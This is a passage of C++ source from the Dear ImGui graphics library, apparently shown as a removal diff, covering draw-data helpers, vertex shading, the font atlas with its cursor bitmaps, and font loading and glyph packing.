-//----------------------------------------------------------------------------- - -// For backward compatibility: convert all buffers from indexed to de-indexed, in case you cannot render indexed. Note: this is slow and most likely a waste of resources. Always prefer indexed rendering! -void ImDrawData::DeIndexAllBuffers() -{ - ImVector new_vtx_buffer; - TotalVtxCount = TotalIdxCount = 0; - for (int i = 0; i < CmdListsCount; i++) - { - ImDrawList* cmd_list = CmdLists[i]; - if (cmd_list->IdxBuffer.empty()) - continue; - new_vtx_buffer.resize(cmd_list->IdxBuffer.Size); - for (int j = 0; j < cmd_list->IdxBuffer.Size; j++) - new_vtx_buffer[j] = cmd_list->VtxBuffer[cmd_list->IdxBuffer[j]]; - cmd_list->VtxBuffer.swap(new_vtx_buffer); - cmd_list->IdxBuffer.resize(0); - TotalVtxCount += cmd_list->VtxBuffer.Size; - } -} - -// Helper to scale the ClipRect field of each ImDrawCmd. -// Use if your final output buffer is at a different scale than draw_data->DisplaySize, -// or if there is a difference between your window resolution and framebuffer resolution. -void ImDrawData::ScaleClipRects(const ImVec2& fb_scale) -{ - for (int i = 0; i < CmdListsCount; i++) - { - ImDrawList* cmd_list = CmdLists[i]; - for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) - { - ImDrawCmd* cmd = &cmd_list->CmdBuffer[cmd_i]; - cmd->ClipRect = ImVec4(cmd->ClipRect.x * fb_scale.x, cmd->ClipRect.y * fb_scale.y, cmd->ClipRect.z * fb_scale.x, cmd->ClipRect.w * fb_scale.y); - } - } -} - -//----------------------------------------------------------------------------- -// [SECTION] Helpers ShadeVertsXXX functions -//----------------------------------------------------------------------------- - -// Generic linear color gradient, write to RGB fields, leave A untouched. -void ImGui::ShadeVertsLinearColorGradientKeepAlpha(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, ImVec2 gradient_p0, ImVec2 gradient_p1, ImU32 col0, ImU32 col1) -{ - ImVec2 gradient_extent = gradient_p1 - gradient_p0; - float gradient_inv_length2 = 1.0f / ImLengthSqr(gradient_extent); - ImDrawVert* vert_start = draw_list->VtxBuffer.Data + vert_start_idx; - ImDrawVert* vert_end = draw_list->VtxBuffer.Data + vert_end_idx; - const int col0_r = (int)(col0 >> IM_COL32_R_SHIFT) & 0xFF; - const int col0_g = (int)(col0 >> IM_COL32_G_SHIFT) & 0xFF; - const int col0_b = (int)(col0 >> IM_COL32_B_SHIFT) & 0xFF; - const int col_delta_r = ((int)(col1 >> IM_COL32_R_SHIFT) & 0xFF) - col0_r; - const int col_delta_g = ((int)(col1 >> IM_COL32_G_SHIFT) & 0xFF) - col0_g; - const int col_delta_b = ((int)(col1 >> IM_COL32_B_SHIFT) & 0xFF) - col0_b; - for (ImDrawVert* vert = vert_start; vert < vert_end; vert++) - { - float d = ImDot(vert->pos - gradient_p0, gradient_extent); - float t = ImClamp(d * gradient_inv_length2, 0.0f, 1.0f); - int r = (int)(col0_r + col_delta_r * t); - int g = (int)(col0_g + col_delta_g * t); - int b = (int)(col0_b + col_delta_b * t); - vert->col = (r << IM_COL32_R_SHIFT) | (g << IM_COL32_G_SHIFT) | (b << IM_COL32_B_SHIFT) | (vert->col & IM_COL32_A_MASK); - } -} - -// Distribute UV over (a, b) rectangle -void ImGui::ShadeVertsLinearUV(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, bool clamp) -{ - const ImVec2 size = b - a; - const ImVec2 uv_size = uv_b - uv_a; - const ImVec2 scale = ImVec2( - size.x != 0.0f ? (uv_size.x / size.x) : 0.0f, - size.y != 0.0f ? (uv_size.y / size.y) : 0.0f); - - ImDrawVert* vert_start = draw_list->VtxBuffer.Data + vert_start_idx; - ImDrawVert* vert_end = draw_list->VtxBuffer.Data + vert_end_idx; - if (clamp) - { - const ImVec2 min = ImMin(uv_a, uv_b); - const ImVec2 max = ImMax(uv_a, uv_b); - for (ImDrawVert* vertex = vert_start; vertex < vert_end; ++vertex) - vertex->uv = ImClamp(uv_a + ImMul(ImVec2(vertex->pos.x, vertex->pos.y) - a, scale), min, max); - } - else - { - for (ImDrawVert* vertex = vert_start; vertex < vert_end; ++vertex) - vertex->uv = uv_a + ImMul(ImVec2(vertex->pos.x, vertex->pos.y) - a, scale); - } -} - -//----------------------------------------------------------------------------- -// [SECTION] ImFontConfig -//----------------------------------------------------------------------------- - -ImFontConfig::ImFontConfig() -{ - memset(this, 0, sizeof(*this)); - FontDataOwnedByAtlas = true; - OversampleH = 3; // FIXME: 2 may be a better default? - OversampleV = 1; - GlyphMaxAdvanceX = FLT_MAX; - RasterizerMultiply = 1.0f; - EllipsisChar = (ImWchar)-1; -} - -//----------------------------------------------------------------------------- -// [SECTION] ImFontAtlas -//----------------------------------------------------------------------------- - -// A work of art lies ahead! (. = white layer, X = black layer, others are blank) -// The 2x2 white texels on the top left are the ones we'll use everywhere in Dear ImGui to render filled shapes. -const int FONT_ATLAS_DEFAULT_TEX_DATA_W = 108; // Actual texture will be 2 times that + 1 spacing. -const int FONT_ATLAS_DEFAULT_TEX_DATA_H = 27; -static const char FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS[FONT_ATLAS_DEFAULT_TEX_DATA_W * FONT_ATLAS_DEFAULT_TEX_DATA_H + 1] = -{ - "..- -XXXXXXX- X - X -XXXXXXX - XXXXXXX- XX " - "..- -X.....X- X.X - X.X -X.....X - X.....X- X..X " - "--- -XXX.XXX- X...X - X...X -X....X - X....X- X..X " - "X - X.X - X.....X - X.....X -X...X - X...X- X..X " - "XX - X.X -X.......X- X.......X -X..X.X - X.X..X- X..X " - "X.X - X.X -XXXX.XXXX- XXXX.XXXX -X.X X.X - X.X X.X- X..XXX " - "X..X - X.X - X.X - X.X -XX X.X - X.X XX- X..X..XXX " - "X...X - X.X - X.X - XX X.X XX - X.X - X.X - X..X..X..XX " - "X....X - X.X - X.X - X.X X.X X.X - X.X - X.X - X..X..X..X.X " - "X.....X - X.X - X.X - X..X X.X X..X - X.X - X.X -XXX X..X..X..X..X" - "X......X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X XX-XX X.X -X..XX........X..X" - "X.......X - X.X - X.X -X.....................X- X.X X.X-X.X X.X -X...X...........X" - "X........X - X.X - X.X - X...XXXXXX.XXXXXX...X - X.X..X-X..X.X - X..............X" - "X.........X -XXX.XXX- X.X - X..X X.X X..X - X...X-X...X - X.............X" - "X..........X-X.....X- X.X - X.X X.X X.X - X....X-X....X - X.............X" - "X......XXXXX-XXXXXXX- X.X - XX X.X XX - X.....X-X.....X - X............X" - "X...X..X --------- X.X - X.X - XXXXXXX-XXXXXXX - X...........X " - "X..X X..X - -XXXX.XXXX- XXXX.XXXX ------------------------------------- X..........X " - "X.X X..X - -X.......X- X.......X - XX XX - - X..........X " - "XX X..X - - X.....X - X.....X - X.X X.X - - X........X " - " X..X - X...X - X...X - X..X X..X - - X........X " - " XX - X.X - X.X - X...XXXXXXXXXXXXX...X - - XXXXXXXXXX " - "------------ - X - X -X.....................X- ------------------" - " ----------------------------------- X...XXXXXXXXXXXXX...X - " - " - X..X X..X - " - " - X.X X.X - " - " - XX XX - " -}; - -static const ImVec2 FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[ImGuiMouseCursor_COUNT][3] = -{ - // Pos ........ Size ......... Offset ...... - { ImVec2( 0,3), ImVec2(12,19), ImVec2( 0, 0) }, // ImGuiMouseCursor_Arrow - { ImVec2(13,0), ImVec2( 7,16), ImVec2( 1, 8) }, // ImGuiMouseCursor_TextInput - { ImVec2(31,0), ImVec2(23,23), ImVec2(11,11) }, // ImGuiMouseCursor_ResizeAll - { ImVec2(21,0), ImVec2( 9,23), ImVec2( 4,11) }, // ImGuiMouseCursor_ResizeNS - { ImVec2(55,18),ImVec2(23, 9), ImVec2(11, 4) }, // ImGuiMouseCursor_ResizeEW - { ImVec2(73,0), ImVec2(17,17), ImVec2( 8, 8) }, // ImGuiMouseCursor_ResizeNESW - { ImVec2(55,0), ImVec2(17,17), ImVec2( 8, 8) }, // ImGuiMouseCursor_ResizeNWSE - { ImVec2(91,0), ImVec2(17,22), ImVec2( 5, 0) }, // ImGuiMouseCursor_Hand -}; - -ImFontAtlas::ImFontAtlas() -{ - memset(this, 0, sizeof(*this)); - TexGlyphPadding = 1; - PackIdMouseCursors = PackIdLines = -1; -} - -ImFontAtlas::~ImFontAtlas() -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - Clear(); -} - -void ImFontAtlas::ClearInputData() -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - for (int i = 0; i < ConfigData.Size; i++) - if (ConfigData[i].FontData && ConfigData[i].FontDataOwnedByAtlas) - { - IM_FREE(ConfigData[i].FontData); - ConfigData[i].FontData = NULL; - } - - // When clearing this we lose access to the font name and other information used to build the font. - for (int i = 0; i < Fonts.Size; i++) - if (Fonts[i]->ConfigData >= ConfigData.Data && Fonts[i]->ConfigData < ConfigData.Data + ConfigData.Size) - { - Fonts[i]->ConfigData = NULL; - Fonts[i]->ConfigDataCount = 0; - } - ConfigData.clear(); - CustomRects.clear(); - PackIdMouseCursors = PackIdLines = -1; -} - -void ImFontAtlas::ClearTexData() -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - if (TexPixelsAlpha8) - IM_FREE(TexPixelsAlpha8); - if (TexPixelsRGBA32) - IM_FREE(TexPixelsRGBA32); - TexPixelsAlpha8 = NULL; - TexPixelsRGBA32 = NULL; - TexPixelsUseColors = false; -} - -void ImFontAtlas::ClearFonts() -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - for (int i = 0; i < Fonts.Size; i++) - IM_DELETE(Fonts[i]); - Fonts.clear(); -} - -void ImFontAtlas::Clear() -{ - ClearInputData(); - ClearTexData(); - ClearFonts(); -} - -void ImFontAtlas::GetTexDataAsAlpha8(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel) -{ - // Build atlas on demand - if (TexPixelsAlpha8 == NULL) - { - if (ConfigData.empty()) - AddFontDefault(); - Build(); - } - - *out_pixels = TexPixelsAlpha8; - if (out_width) *out_width = TexWidth; - if (out_height) *out_height = TexHeight; - if (out_bytes_per_pixel) *out_bytes_per_pixel = 1; -} - -void ImFontAtlas::GetTexDataAsRGBA32(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel) -{ - // Convert to RGBA32 format on demand - // Although it is likely to be the most commonly used format, our font rendering is 1 channel / 8 bpp - if (!TexPixelsRGBA32) - { - unsigned char* pixels = NULL; - GetTexDataAsAlpha8(&pixels, NULL, NULL); - if (pixels) - { - TexPixelsRGBA32 = (unsigned int*)IM_ALLOC((size_t)TexWidth * (size_t)TexHeight * 4); - const unsigned char* src = pixels; - unsigned int* dst = TexPixelsRGBA32; - for (int n = TexWidth * TexHeight; n > 0; n--) - *dst++ = IM_COL32(255, 255, 255, (unsigned int)(*src++)); - } - } - - *out_pixels = (unsigned char*)TexPixelsRGBA32; - if (out_width) *out_width = TexWidth; - if (out_height) *out_height = TexHeight; - if (out_bytes_per_pixel) *out_bytes_per_pixel = 4; -} - -ImFont* ImFontAtlas::AddFont(const ImFontConfig* font_cfg) -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - IM_ASSERT(font_cfg->FontData != NULL && font_cfg->FontDataSize > 0); - IM_ASSERT(font_cfg->SizePixels > 0.0f); - - // Create new font - if (!font_cfg->MergeMode) - Fonts.push_back(IM_NEW(ImFont)); - else - IM_ASSERT(!Fonts.empty() && "Cannot use MergeMode for the first font"); // When using MergeMode make sure that a font has already been added before. You can use ImGui::GetIO().Fonts->AddFontDefault() to add the default imgui font. - - ConfigData.push_back(*font_cfg); - ImFontConfig& new_font_cfg = ConfigData.back(); - if (new_font_cfg.DstFont == NULL) - new_font_cfg.DstFont = Fonts.back(); - if (!new_font_cfg.FontDataOwnedByAtlas) - { - new_font_cfg.FontData = IM_ALLOC(new_font_cfg.FontDataSize); - new_font_cfg.FontDataOwnedByAtlas = true; - memcpy(new_font_cfg.FontData, font_cfg->FontData, (size_t)new_font_cfg.FontDataSize); - } - - if (new_font_cfg.DstFont->EllipsisChar == (ImWchar)-1) - new_font_cfg.DstFont->EllipsisChar = font_cfg->EllipsisChar; - - // Invalidate texture - ClearTexData(); - return new_font_cfg.DstFont; -} - -// Default font TTF is compressed with stb_compress then base85 encoded (see misc/fonts/binary_to_compressed_c.cpp for encoder) -static unsigned int stb_decompress_length(const unsigned char* input); -static unsigned int stb_decompress(unsigned char* output, const unsigned char* input, unsigned int length); -static const char* GetDefaultCompressedFontDataTTFBase85(); -static unsigned int Decode85Byte(char c) { return c >= '\\' ? c-36 : c-35; } -static void Decode85(const unsigned char* src, unsigned char* dst) -{ - while (*src) - { - unsigned int tmp = Decode85Byte(src[0]) + 85 * (Decode85Byte(src[1]) + 85 * (Decode85Byte(src[2]) + 85 * (Decode85Byte(src[3]) + 85 * Decode85Byte(src[4])))); - dst[0] = ((tmp >> 0) & 0xFF); dst[1] = ((tmp >> 8) & 0xFF); dst[2] = ((tmp >> 16) & 0xFF); dst[3] = ((tmp >> 24) & 0xFF); // We can't assume little-endianness. - src += 5; - dst += 4; - } -} - -// Load embedded ProggyClean.ttf at size 13, disable oversampling -ImFont* ImFontAtlas::AddFontDefault(const ImFontConfig* font_cfg_template) -{ - ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); - if (!font_cfg_template) - { - font_cfg.OversampleH = font_cfg.OversampleV = 1; - font_cfg.PixelSnapH = true; - } - if (font_cfg.SizePixels <= 0.0f) - font_cfg.SizePixels = 13.0f * 1.0f; - if (font_cfg.Name[0] == '\0') - ImFormatString(font_cfg.Name, IM_ARRAYSIZE(font_cfg.Name), "ProggyClean.ttf, %dpx", (int)font_cfg.SizePixels); - font_cfg.EllipsisChar = (ImWchar)0x0085; - font_cfg.GlyphOffset.y = 1.0f * IM_FLOOR(font_cfg.SizePixels / 13.0f); // Add +1 offset per 13 units - - const char* ttf_compressed_base85 = GetDefaultCompressedFontDataTTFBase85(); - const ImWchar* glyph_ranges = font_cfg.GlyphRanges != NULL ? font_cfg.GlyphRanges : GetGlyphRangesDefault(); - ImFont* font = AddFontFromMemoryCompressedBase85TTF(ttf_compressed_base85, font_cfg.SizePixels, &font_cfg, glyph_ranges); - return font; -} - -ImFont* ImFontAtlas::AddFontFromFileTTF(const char* filename, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - size_t data_size = 0; - void* data = ImFileLoadToMemory(filename, "rb", &data_size, 0); - if (!data) - { - IM_ASSERT_USER_ERROR(0, "Could not load font file!"); - return NULL; - } - ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); - if (font_cfg.Name[0] == '\0') - { - // Store a short copy of filename into into the font name for convenience - const char* p; - for (p = filename + strlen(filename); p > filename && p[-1] != '/' && p[-1] != '\\'; p--) {} - ImFormatString(font_cfg.Name, IM_ARRAYSIZE(font_cfg.Name), "%s, %.0fpx", p, size_pixels); - } - return AddFontFromMemoryTTF(data, (int)data_size, size_pixels, &font_cfg, glyph_ranges); -} - -// NB: Transfer ownership of 'ttf_data' to ImFontAtlas, unless font_cfg_template->FontDataOwnedByAtlas == false. Owned TTF buffer will be deleted after Build(). -ImFont* ImFontAtlas::AddFontFromMemoryTTF(void* ttf_data, int ttf_size, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); - IM_ASSERT(font_cfg.FontData == NULL); - font_cfg.FontData = ttf_data; - font_cfg.FontDataSize = ttf_size; - font_cfg.SizePixels = size_pixels; - if (glyph_ranges) - font_cfg.GlyphRanges = glyph_ranges; - return AddFont(&font_cfg); -} - -ImFont* ImFontAtlas::AddFontFromMemoryCompressedTTF(const void* compressed_ttf_data, int compressed_ttf_size, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) -{ - const unsigned int buf_decompressed_size = stb_decompress_length((const unsigned char*)compressed_ttf_data); - unsigned char* buf_decompressed_data = (unsigned char*)IM_ALLOC(buf_decompressed_size); - stb_decompress(buf_decompressed_data, (const unsigned char*)compressed_ttf_data, (unsigned int)compressed_ttf_size); - - ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); - IM_ASSERT(font_cfg.FontData == NULL); - font_cfg.FontDataOwnedByAtlas = true; - return AddFontFromMemoryTTF(buf_decompressed_data, (int)buf_decompressed_size, size_pixels, &font_cfg, glyph_ranges); -} - -ImFont* ImFontAtlas::AddFontFromMemoryCompressedBase85TTF(const char* compressed_ttf_data_base85, float size_pixels, const ImFontConfig* font_cfg, const ImWchar* glyph_ranges) -{ - int compressed_ttf_size = (((int)strlen(compressed_ttf_data_base85) + 4) / 5) * 4; - void* compressed_ttf = IM_ALLOC((size_t)compressed_ttf_size); - Decode85((const unsigned char*)compressed_ttf_data_base85, (unsigned char*)compressed_ttf); - ImFont* font = AddFontFromMemoryCompressedTTF(compressed_ttf, compressed_ttf_size, size_pixels, font_cfg, glyph_ranges); - IM_FREE(compressed_ttf); - return font; -} - -int ImFontAtlas::AddCustomRectRegular(int width, int height) -{ - IM_ASSERT(width > 0 && width <= 0xFFFF); - IM_ASSERT(height > 0 && height <= 0xFFFF); - ImFontAtlasCustomRect r; - r.Width = (unsigned short)width; - r.Height = (unsigned short)height; - CustomRects.push_back(r); - return CustomRects.Size - 1; // Return index -} - -int ImFontAtlas::AddCustomRectFontGlyph(ImFont* font, ImWchar id, int width, int height, float advance_x, const ImVec2& offset) -{ -#ifdef IMGUI_USE_WCHAR32 - IM_ASSERT(id <= IM_UNICODE_CODEPOINT_MAX); -#endif - IM_ASSERT(font != NULL); - IM_ASSERT(width > 0 && width <= 0xFFFF); - IM_ASSERT(height > 0 && height <= 0xFFFF); - ImFontAtlasCustomRect r; - r.Width = (unsigned short)width; - r.Height = (unsigned short)height; - r.GlyphID = id; - r.GlyphAdvanceX = advance_x; - r.GlyphOffset = offset; - r.Font = font; - CustomRects.push_back(r); - return CustomRects.Size - 1; // Return index -} - -void ImFontAtlas::CalcCustomRectUV(const ImFontAtlasCustomRect* rect, ImVec2* out_uv_min, ImVec2* out_uv_max) const -{ - IM_ASSERT(TexWidth > 0 && TexHeight > 0); // Font atlas needs to be built before we can calculate UV coordinates - IM_ASSERT(rect->IsPacked()); // Make sure the rectangle has been packed - *out_uv_min = ImVec2((float)rect->X * TexUvScale.x, (float)rect->Y * TexUvScale.y); - *out_uv_max = ImVec2((float)(rect->X + rect->Width) * TexUvScale.x, (float)(rect->Y + rect->Height) * TexUvScale.y); -} - -bool ImFontAtlas::GetMouseCursorTexData(ImGuiMouseCursor cursor_type, ImVec2* out_offset, ImVec2* out_size, ImVec2 out_uv_border[2], ImVec2 out_uv_fill[2]) -{ - if (cursor_type <= ImGuiMouseCursor_None || cursor_type >= ImGuiMouseCursor_COUNT) - return false; - if (Flags & ImFontAtlasFlags_NoMouseCursors) - return false; - - IM_ASSERT(PackIdMouseCursors != -1); - ImFontAtlasCustomRect* r = GetCustomRectByIndex(PackIdMouseCursors); - ImVec2 pos = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][0] + ImVec2((float)r->X, (float)r->Y); - ImVec2 size = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][1]; - *out_size = size; - *out_offset = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][2]; - out_uv_border[0] = (pos) * TexUvScale; - out_uv_border[1] = (pos + size) * TexUvScale; - pos.x += FONT_ATLAS_DEFAULT_TEX_DATA_W + 1; - out_uv_fill[0] = (pos) * TexUvScale; - out_uv_fill[1] = (pos + size) * TexUvScale; - return true; -} - -bool ImFontAtlas::Build() -{ - IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); - - // Select builder - // - Note that we do not reassign to atlas->FontBuilderIO, since it is likely to point to static data which - // may mess with some hot-reloading schemes. If you need to assign to this (for dynamic selection) AND are - // using a hot-reloading scheme that messes up static data, store your own instance of ImFontBuilderIO somewhere - // and point to it instead of pointing directly to return value of the GetBuilderXXX functions. - const ImFontBuilderIO* builder_io = FontBuilderIO; - if (builder_io == NULL) - { -#ifdef IMGUI_ENABLE_FREETYPE - builder_io = ImGuiFreeType::GetBuilderForFreeType(); -#elif defined(IMGUI_ENABLE_STB_TRUETYPE) - builder_io = ImFontAtlasGetBuilderForStbTruetype(); -#else - IM_ASSERT(0); // Invalid Build function -#endif - } - - // Build - return builder_io->FontBuilder_Build(this); -} - -void ImFontAtlasBuildMultiplyCalcLookupTable(unsigned char out_table[256], float in_brighten_factor) -{ - for (unsigned int i = 0; i < 256; i++) - { - unsigned int value = (unsigned int)(i * in_brighten_factor); - out_table[i] = value > 255 ? 255 : (value & 0xFF); - } -} - -void ImFontAtlasBuildMultiplyRectAlpha8(const unsigned char table[256], unsigned char* pixels, int x, int y, int w, int h, int stride) -{ - unsigned char* data = pixels + x + y * stride; - for (int j = h; j > 0; j--, data += stride) - for (int i = 0; i < w; i++) - data[i] = table[data[i]]; -} - -#ifdef IMGUI_ENABLE_STB_TRUETYPE -// Temporary data for one source font (multiple source fonts can be merged into one destination ImFont) -// (C++03 doesn't allow instancing ImVector<> with function-local types so we declare the type here.) -struct ImFontBuildSrcData -{ - stbtt_fontinfo FontInfo; - stbtt_pack_range PackRange; // Hold the list of codepoints to pack (essentially points to Codepoints.Data) - stbrp_rect* Rects; // Rectangle to pack. We first fill in their size and the packer will give us their position. - stbtt_packedchar* PackedChars; // Output glyphs - const ImWchar* SrcRanges; // Ranges as requested by user (user is allowed to request too much, e.g. 0x0020..0xFFFF) - int DstIndex; // Index into atlas->Fonts[] and dst_tmp_array[] - int GlyphsHighest; // Highest requested codepoint - int GlyphsCount; // Glyph count (excluding missing glyphs and glyphs already set by an earlier source font) - ImBitVector GlyphsSet; // Glyph bit map (random access, 1-bit per codepoint. This will be a maximum of 8KB) - ImVector GlyphsList; // Glyph codepoints list (flattened version of GlyphsMap) -}; - -// Temporary data for one destination ImFont* (multiple source fonts can be merged into one destination ImFont) -struct ImFontBuildDstData -{ - int SrcCount; // Number of source fonts targeting this destination font. - int GlyphsHighest; - int GlyphsCount; - ImBitVector GlyphsSet; // This is used to resolve collision when multiple sources are merged into a same destination font. -}; - -static void UnpackBitVectorToFlatIndexList(const ImBitVector* in, ImVector* out) -{ - IM_ASSERT(sizeof(in->Storage.Data[0]) == sizeof(int)); - const ImU32* it_begin = in->Storage.begin(); - const ImU32* it_end = in->Storage.end(); - for (const ImU32* it = it_begin; it < it_end; it++) - if (ImU32 entries_32 = *it) - for (ImU32 bit_n = 0; bit_n < 32; bit_n++) - if (entries_32 & ((ImU32)1 << bit_n)) - out->push_back((int)(((it - it_begin) << 5) + bit_n)); -} - -static bool ImFontAtlasBuildWithStbTruetype(ImFontAtlas* atlas) -{ - IM_ASSERT(atlas->ConfigData.Size > 0); - - ImFontAtlasBuildInit(atlas); - - // Clear atlas - atlas->TexID = (ImTextureID)NULL; - atlas->TexWidth = atlas->TexHeight = 0; - atlas->TexUvScale = ImVec2(0.0f, 0.0f); - atlas->TexUvWhitePixel = ImVec2(0.0f, 0.0f); - atlas->ClearTexData(); - - // Temporary storage for building - ImVector src_tmp_array; - ImVector dst_tmp_array; - src_tmp_array.resize(atlas->ConfigData.Size); - dst_tmp_array.resize(atlas->Fonts.Size); - memset(src_tmp_array.Data, 0, (size_t)src_tmp_array.size_in_bytes()); - memset(dst_tmp_array.Data, 0, (size_t)dst_tmp_array.size_in_bytes()); - - // 1. Initialize font loading structure, check font data validity - for (int src_i = 0; src_i < atlas->ConfigData.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - ImFontConfig& cfg = atlas->ConfigData[src_i]; - IM_ASSERT(cfg.DstFont && (!cfg.DstFont->IsLoaded() || cfg.DstFont->ContainerAtlas == atlas)); - - // Find index from cfg.DstFont (we allow the user to set cfg.DstFont. Also it makes casual debugging nicer than when storing indices) - src_tmp.DstIndex = -1; - for (int output_i = 0; output_i < atlas->Fonts.Size && src_tmp.DstIndex == -1; output_i++) - if (cfg.DstFont == atlas->Fonts[output_i]) - src_tmp.DstIndex = output_i; - if (src_tmp.DstIndex == -1) - { - IM_ASSERT(src_tmp.DstIndex != -1); // cfg.DstFont not pointing within atlas->Fonts[] array? - return false; - } - // Initialize helper structure for font loading and verify that the TTF/OTF data is correct - const int font_offset = stbtt_GetFontOffsetForIndex((unsigned char*)cfg.FontData, cfg.FontNo); - IM_ASSERT(font_offset >= 0 && "FontData is incorrect, or FontNo cannot be found."); - if (!stbtt_InitFont(&src_tmp.FontInfo, (unsigned char*)cfg.FontData, font_offset)) - return false; - - // Measure highest codepoints - ImFontBuildDstData& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; - src_tmp.SrcRanges = cfg.GlyphRanges ? cfg.GlyphRanges : atlas->GetGlyphRangesDefault(); - for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) - src_tmp.GlyphsHighest = ImMax(src_tmp.GlyphsHighest, (int)src_range[1]); - dst_tmp.SrcCount++; - dst_tmp.GlyphsHighest = ImMax(dst_tmp.GlyphsHighest, src_tmp.GlyphsHighest); - } - - // 2. For every requested codepoint, check for their presence in the font data, and handle redundancy or overlaps between source fonts to avoid unused glyphs. - int total_glyphs_count = 0; - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - ImFontBuildDstData& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; - src_tmp.GlyphsSet.Create(src_tmp.GlyphsHighest + 1); - if (dst_tmp.GlyphsSet.Storage.empty()) - dst_tmp.GlyphsSet.Create(dst_tmp.GlyphsHighest + 1); - - for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) - for (unsigned int codepoint = src_range[0]; codepoint <= src_range[1]; codepoint++) - { - if (dst_tmp.GlyphsSet.TestBit(codepoint)) // Don't overwrite existing glyphs. We could make this an option for MergeMode (e.g. MergeOverwrite==true) - continue; - if (!stbtt_FindGlyphIndex(&src_tmp.FontInfo, codepoint)) // It is actually in the font? - continue; - - // Add to avail set/counters - src_tmp.GlyphsCount++; - dst_tmp.GlyphsCount++; - src_tmp.GlyphsSet.SetBit(codepoint); - dst_tmp.GlyphsSet.SetBit(codepoint); - total_glyphs_count++; - } - } - - // 3. Unpack our bit map into a flat list (we now have all the Unicode points that we know are requested _and_ available _and_ not overlapping another) - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - src_tmp.GlyphsList.reserve(src_tmp.GlyphsCount); - UnpackBitVectorToFlatIndexList(&src_tmp.GlyphsSet, &src_tmp.GlyphsList); - src_tmp.GlyphsSet.Clear(); - IM_ASSERT(src_tmp.GlyphsList.Size == src_tmp.GlyphsCount); - } - for (int dst_i = 0; dst_i < dst_tmp_array.Size; dst_i++) - dst_tmp_array[dst_i].GlyphsSet.Clear(); - dst_tmp_array.clear(); - - // Allocate packing character data and flag packed characters buffer as non-packed (x0=y0=x1=y1=0) - // (We technically don't need to zero-clear buf_rects, but let's do it for the sake of sanity) - ImVector buf_rects; - ImVector buf_packedchars; - buf_rects.resize(total_glyphs_count); - buf_packedchars.resize(total_glyphs_count); - memset(buf_rects.Data, 0, (size_t)buf_rects.size_in_bytes()); - memset(buf_packedchars.Data, 0, (size_t)buf_packedchars.size_in_bytes()); - - // 4. Gather glyphs sizes so we can pack them in our virtual canvas. - int total_surface = 0; - int buf_rects_out_n = 0; - int buf_packedchars_out_n = 0; - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - src_tmp.Rects = &buf_rects[buf_rects_out_n]; - src_tmp.PackedChars = &buf_packedchars[buf_packedchars_out_n]; - buf_rects_out_n += src_tmp.GlyphsCount; - buf_packedchars_out_n += src_tmp.GlyphsCount; - - // Convert our ranges in the format stb_truetype wants - ImFontConfig& cfg = atlas->ConfigData[src_i]; - src_tmp.PackRange.font_size = cfg.SizePixels; - src_tmp.PackRange.first_unicode_codepoint_in_range = 0; - src_tmp.PackRange.array_of_unicode_codepoints = src_tmp.GlyphsList.Data; - src_tmp.PackRange.num_chars = src_tmp.GlyphsList.Size; - src_tmp.PackRange.chardata_for_range = src_tmp.PackedChars; - src_tmp.PackRange.h_oversample = (unsigned char)cfg.OversampleH; - src_tmp.PackRange.v_oversample = (unsigned char)cfg.OversampleV; - - // Gather the sizes of all rectangles we will need to pack (this loop is based on stbtt_PackFontRangesGatherRects) - const float scale = (cfg.SizePixels > 0) ? stbtt_ScaleForPixelHeight(&src_tmp.FontInfo, cfg.SizePixels) : stbtt_ScaleForMappingEmToPixels(&src_tmp.FontInfo, -cfg.SizePixels); - const int padding = atlas->TexGlyphPadding; - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsList.Size; glyph_i++) - { - int x0, y0, x1, y1; - const int glyph_index_in_font = 